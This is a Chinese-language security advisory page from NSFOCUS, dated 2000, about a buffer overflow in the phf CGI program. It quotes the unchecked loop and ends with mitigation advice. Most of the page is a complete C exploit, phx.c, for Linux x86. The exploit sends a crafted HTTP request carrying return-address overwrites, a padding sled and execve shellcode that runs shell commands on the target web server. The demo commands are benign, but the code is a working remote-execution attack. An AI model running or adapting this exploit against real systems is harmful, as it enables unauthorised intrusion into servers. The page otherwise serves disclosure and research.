首页 -> 安全研究

安全研究

安全漏洞
phf缓冲区溢出漏洞

发布日期:2000-11-17
更新日期:2000-11-17

受影响系统:

phf的所有版本(包括已打补丁的和未打补丁的)
描述:

phf是一个CGI程序,它的代码中存在一个缓冲区溢出漏洞:
...

main(int argc, char *argv[]) {
    entry entries[64];

...

    for(x=0;cl[0] != '\0';x++) {
        m=x;
        getword(entries[x].val,cl,'&');
        plustospace(entries[x].val);
        unescape_url(entries[x].val);
        getword(entries[x].name,entries[x].val,'=');
    }

...

上述for循环未检查x是否小于64。entries结构是一种线性数据类型,这使得可以向
第64个entry写入任意数据从而覆盖返回指针,进而执行恶意代码。

<* 来源: proton proton (proton@ENERGYMECH.NET) *>




测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
|  phx.c -- phf buffer overflow exploit for Linux-ix86
|  Copyright (c) 2000 by proton. All rights reserved.
|
|  This program is free software; you can redistribute it and/or modify
|  it under the terms of the GNU General Public License as published by
|  the Free Software Foundation; either version 2 of the License, or
|  (at your option) any later version.
|
|  This program is distributed in the hope that it will be useful,
|  but WITHOUT ANY WARRANTY; without even the implied warranty of
|  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|  GNU General Public License for more details.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>

char    tmp[8192];
char    *host;
char    *progname;

unsigned char shellcode[] =
        "GET
/cgi-bin/phf?&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&"
        /*
         *  2 pointers, in case of -fomit-frame-pointer
         */
        "\x37\xfc\xff\xbf"
        "\x37\xfc\xff\xbf"
        " HTTP/1.0\n"
        /*
         *  set environment var `HTTP_X'
         */
        "X: "
        /*
         *  a bundle of AAA's, they're just as good as NOP's
         *  but is a tad bit more readable to humans.
         *  512 no-op instructions gives us a nice phat
         *  strike-zone for the above 2 pointers.
         */

"7777777777777777777777777777777777777777777777777777777777777777"

"7777777777777777777777777777777777777777777777777777777777777777"

"7777777777777777777777777777777777777777777777777777777777777777"

"7777777777777777777777777777777777777777777777777777777777777777"

"7777777777777777777777777777777777777777777777777777777777777777"

"7777777777777777777777777777777777777777777777777777777777777777"

"7777777777777777777777777777777777777777777777777777777777777777"

"7777777777777777777777777777777777777777777777777777777777777777"
        /*
         *  exploit code
         */

"\xeb\x3b\x5e\x8d\x5e\x10\x89\x1e\x8d\x7e\x18\x89\x7e\x04\x8d\x7e\x1b\x89\x7e\x08"

"\xb8\x40\x40\x40\x40\x47\x8a\x07\x28\xe0\x75\xf9\x31\xc0\x88\x07\x89\x46\x0c\x88"

"\x46\x17\x88\x46\x1a\x89\xf1\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xc0\xff\xff\xff\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
        "\x41\x41"
        /*
         *  try to make sense to the webserver
         */
        "/bin/sh -c echo 'Content-Type: text/plain';echo '';"
        /*
         *  execute something funny!
         */
        "echo Hello! I am running as \\\"`whoami`\\\" on a `arch` cpu;"
        "echo Local time is `date` and there are `who|wc -l` users logged in.;"
        "echo '';"
        /*
         *  shellcode will terminate command at the `@'
         */
        "@\n\n"
        ;

void netpipe(int *rsock, int *wsock)
{
        struct  sockaddr_in sai;
        struct  hostent *he;
        int     s;

        if (!host || !*host)
        {
                printf("Usage: %s <host>\n",progname);
                exit(1);
        }
        he = gethostbyname(host);
        if (!he)
        {
                printf("%s: Unknown host\n",host);
                exit(1);
        }

        s = socket(AF_INET,SOCK_STREAM,0);
        sai.sin_family = AF_INET;
        sai.sin_port = htons(80);
        memcpy(&sai.sin_addr,he->h_addr_list[0],sizeof(struct in_addr));

        if (connect(s,(struct sockaddr*)&sai,sizeof(sai)) < 0)
        {
                switch(errno)
                {
                case ECONNREFUSED:
                        output("Connection refused.\n");
                        break;
                case ETIMEDOUT:
                        output("Connection timed out.\n");
                        break;
                case ENETUNREACH:
                        output("Network unreachable.\n");
                        break;
                default:
                        output("Unknown error.\n");
                        break;
                }
                exit(1);
        }

        *rsock = *wsock = s;
}

int main(int argc, char **argv)
{
        char    *q,*cp;
        int     in,out;
        int     sz,x,n;

        progname = argv[0];
        host = argv[1];

        netpipe(&in,&out);

        write(out,shellcode,sizeof(shellcode));

        output("\nCome to papa!\n\n");

        n = x = 0;
        for(;;)
        {
                sz = read(in,&tmp[x],512-x);
                if (sz < 1)
                        break;
                x += sz;
                q = cp = tmp;
                for(sz=x;sz;)
                {
                        if (*q == '\n')
                        {
                                write(1,cp,(q-cp)+1);
                                cp = q + 1;
                        }
                        q++;
                        sz--;
                }
                if (cp != tmp)
                {
                        sz = x - (cp - tmp);
                        memcpy(tmp,cp,sz);
                        x -= (cp - tmp);
                }
        }
        exit(0);
}


建议:

临时解决办法:

    NSFOCUS建议您自行修改代码增加边界检查或者删除这个CGI程序。

厂商补丁:

    暂无。

浏览次数:6089
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障